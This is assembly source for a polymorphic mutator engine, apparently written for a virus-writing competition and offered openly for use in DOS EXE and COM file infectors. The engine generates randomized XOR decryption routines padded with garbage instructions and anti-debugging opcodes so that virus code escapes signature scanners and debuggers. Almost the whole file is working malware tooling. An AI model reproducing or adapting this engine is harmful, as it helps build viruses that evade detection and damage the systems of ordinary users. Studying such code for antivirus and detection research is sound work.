;
;  Bumblebee Ultimate Mutator Engine [BUME]
;  for EXE infectors (and works fine with COM infectors)
;
;  . I worte it for VirusBuster's polymorphic engine competition. HKPE
;  is small and crypt algo is better. But BUME includes some anti-debug
;  in the generated procs and also includes some push's for EXE infectors.
;
;  . Some helloz...
;
;       Wintermute: vuelve a la escena o... learn C++ and code your game!
;          Darkman: dos cervezas por favor ;)
;          Pharmie: hi grandma!
;             Lich: que le parece este engine?
;     Virus Buster: Anuncia mas tus competitions, que la gente no se entera
;
;   ... and all my people in #vir and #virus.
;
;  Proc generated looks like:
;
;       ?i                      -> di or si (random)
;       ?l                      -> al or bl or dl (random)
;       ?? <opcode> ??          -> opcode may be here (or not)
;       { garbage }             -> garbage opcodes (random opcodes and size)
;       { antidebug }           -> anti-debug opcodes (random)
;
; Proc begins here:
;
;       { garbage }
;       { antidebug }
;       { garbage }
;       ?? <mov cx,size_to_crypt> ??
;       ?? <mov ?i,offset_of_ccode> ??
;       pop     bp
;       { garbage }
;       ?? <mov cx,size_to_crypt> ??
;       ?? <mov ?i,offset_of_ccode> ??
;       push    ds
;       { garbage }
;       ?? <mov cx,size_to_crypt> ??
;       ?? <mov ?i,offset_of_ccode> ??
;       push    es
;       { garbage }
;       ?? <mov cx,size_to_crypt> ??
;       ?? <mov ?i,offset_of_ccode> ??
;       push    ax
;       { garbage }
;       ?? <mov cx,size_to_crypt> ??
;       ?? <mov ?i,offset_of_ccode> ??
;       push    bp
;       { garbage }
;       ?? <mov cx,size_to_crypt> ??
;       ?? <mov ?i,offset_of_ccode> ??
;       push    cs
;       { garbage }
;       ?? <mov cx,size_to_crypt> ??
;       ?? <mov ?i,offset_of_ccode> ??
;       pop     ds
;       { garbage }
;       ?? <mov cx,size_to_crypt> ??
;       ?? <mov ?i,offset_of_ccode> ??
;       push    ax
;       { garbage }
;       ?? <mov cx,size_to_crypt> ??
;       ?? <mov ?i,offset_of_ccode> ??
;       push    bx
;       { garbage }
;       ?? <mov cx,size_to_crypt> ??
;       ?? <mov ?i,offset_of_ccode> ??
;       push    dx
;       ?? <mov cx,size_to_crypt> ??
;       ?? <mov ?i,offset_of_ccode> ??
; cloop:
;       { garbage }
;       { antidebug }
;       mov     ?l,crypt_key
;       { garbage }
;       xor     byte ptr ds:[?i]
;       { garbage }
;       inc     ?i
;       { antidebug }
;       loop    cloop
;       { garbage }
;       pop     dx
;       { garbage }
;       pop     bx
;       { garbage }
;       pop     ax
;       ret
;
; Proc ends here.
;
;               BUME size is: 517 bytes
; max size of generated proc: 215 bytes
;
; begin of BUME -------------------------------------------------------------
;
;  BUME - Bumblebee Ultimate Mutator Engine (what a name!)
;
;  in:
;       es:di   where to put generated proc
;       cx      size to encrypt/decrypt
;       si      offset of code to encrypt/decript
;       al      encrypt/decrypt key
;  out:
;       cx      size of generated proc
;
bume:
        mov     word ptr cs:[bpass1+1],cx
        mov     word ptr cs:[bpass2+2],si
        mov     byte ptr cs:[bpass3+1],al
        mov     byte ptr cs:[bpass3+3],al
        mov     byte ptr cs:[bpass3+5],al

        xor     cx,cx                   ; size of proc begins from 0

        mov     byte ptr cs:[cflag],ch
        mov     byte ptr cs:[sflag],ch


        push    cs
        pop     ds
        lea     si,bpass0
        xor     dx,dx
        mov     dl,10

        call    insShit
        call    insADebug
bloop0:
        call    insShit

        cmp     byte ptr cs:[cflag],1   ; ?? <mov cx,size_to_crypt> ??
        je      bskip0

        mov     ah,1
        call    rnd
        or      al,al
        jz      bskip0

        mov     byte ptr cs:[cflag],al
        push    ds si
        lea     si,bpass1
        movsb
        movsw
        add     cx,3
        pop     si ds
bskip0:

        cmp     byte ptr cs:[sflag],1   ; ?? <mov ?i,offset_of_ccode> ??
        je      bskip1

        mov     ah,1
        call    rnd
        or      al,al
        jz      bskip1

        mov     byte ptr cs:[sflag],al

        mov     ah,1
        call    rnd
        mov     byte ptr cs:[iflag],al

        push    ds si
        lea     si,bpass2
        add     si,ax
        movsb
        or      al,al
        jnz     bskip3
        inc     si
bskip3:
        movsw
        add     cx,3
        pop     si ds

bskip1:
        movsb
        inc     cx
        dec     dl
        jnz     bloop0

        cmp     byte ptr cs:[cflag],0
        jne     bskip4

        push    ds si
        lea     si,bpass1
        movsb
        movsw
        add     cx,3
        pop     si ds

bskip4:
        cmp     byte ptr cs:[sflag],0
        jne     bskip5

        mov     ah,1
        call    rnd
        mov     byte ptr cs:[iflag],al

        push    ds si
        lea     si,bpass2
        add     si,ax
        movsb
        or      al,al
        jnz     bskip6
        inc     si
bskip6:
        movsw
        add     cx,3
        pop     si ds

bskip5:
        push    cx                      ; save this pos for later loop

        mov     ah,3
        call    rnd
        mov     word ptr [regflag],ax

        lea     si,bpass3
        push    cx
        mov     cl,2
        mul     cl
        pop     cx
        add     si,ax

        call    insShit
        call    insADebug
        movsw
        add     si,4
        add     cx,2

        cmp     byte ptr cs:[iflag],1
        je      bskip7

        add     si,6
bskip7:
        call    insShit
        movsw
        add     cx,2

        call    insShit
        lea     si,bpass6
        xor     ax,ax
        mov     al,byte ptr cs:[iflag]
        add     si,ax
        movsb
        inc     cx

        call    insADebug

        mov     al,0e2h
        mov     ah,0feh
        pop     bx
        mov     dx,cx
        sub     dx,bx
        sub     ah,dl
        mov     word ptr es:[di],ax
        add     cx,2
        add     di,2

        push    cs
        pop     ds
        lea     si,bpass7
        xor     dx,dx
        mov     dl,3

bloop1:
        call    insShit

        movsb
        inc     cx
        dec     dl
        jnz     bloop1

        mov     byte ptr es:[di],0c3h   ; insert ret
        inc     cx

        ret

; BUME data -don't touch this!-
bpass0  db      5dh,1eh,06h,50h,55h,0eh,1fh,50h,53h,52h
bpass1  db      0b9h
        dw      0
bpass2  db      0beh,0bfh
        dw      0
bpass3  db      0b0h,0,0b3h,0,0b2h,0
bpass4  db      30h,05h,30h,1dh,30h,15h
bpass5  db      30h,04h,30h,1ch,30h,14h
bpass6  db      46h,47h,5bh,42h,55h,4dh,45h,5dh
bpass7  db      5ah,5bh,58h
bshit0  db      50h,48h,33h,0c0h,23h,0c0h,0bh,0c0h,40h,58h ; ax
bshit1  db      53h,43h,23h,0dbh,33h,0dbh,0bh,0dbh,4bh,5bh ; bx
bshit3  db      52h,4ah,33h,0d2h,0bh,0d2h,23h,0d2h,42h,5ah ; dx
bshit4  db      51h,49h,33h,0c9h,0bh,0c9h,23h,0c9h,41h,59h ; cx
bdebu0  db      16h,17h,0cch
bdebu1  db      16h,83h,0c4h,02h,0cch
iflag   db      0
sflag   db      0
cflag   db      0
regflag dw      0

;
; insADebug - puts anti-debug stuff on ds:si
;
insADebug:
        cld
        push    ds si

        mov     ah,1
        call    rnd

        push    cs
        pop     ds
        or      al,al
        jz      insAD0

        lea     si,bdebu1
        push    cx
        mov     cx,5
        rep     movsb
        pop     cx
        add     cx,5
        jmp     insADOut

insAD0:
        lea     si,bdebu0
        movsb
        movsw
        add     cx,3

insADOut:
        pop     si ds
        ret

;
; insShit - puts garbage instructions on ds:si
;
insShit:
        cld
        push    bx
        push    cx ds si

        xor     cx,cx
        push    cs
        pop     ds
        lea     si,bshit0
        mov     ah,3
        call    rnd
        mov     cl,10
        mul     cl
        add     si,ax           ; si -> offset of bshit(n)

        movsw                   ; move push

        mov     ah,3
        call    rnd
        cmp     al,0
        jne     bskipIncAl0
        inc     al
bskipIncAl0:

        add     si,6
        mov     cl,2
        mul     cl
        sub     si,ax
        mov     cx,ax

        mov     bx,cx
        rep     movsb           ; move garbage
        movsw                   ; move pop

        pop     si ds cx
        add     cx,bx
        add     cx,4
        pop     bx
        ret

;
; rnd - get arandom number from 0 to max random number
;
; in:
;       ah      max random number (and)
; out:
;       al      random number
;
rnd:
        in      al,40h
        and     al,ah
        xor     ah,ah
        ret

; end of BUME ---------------------------------------------------------------

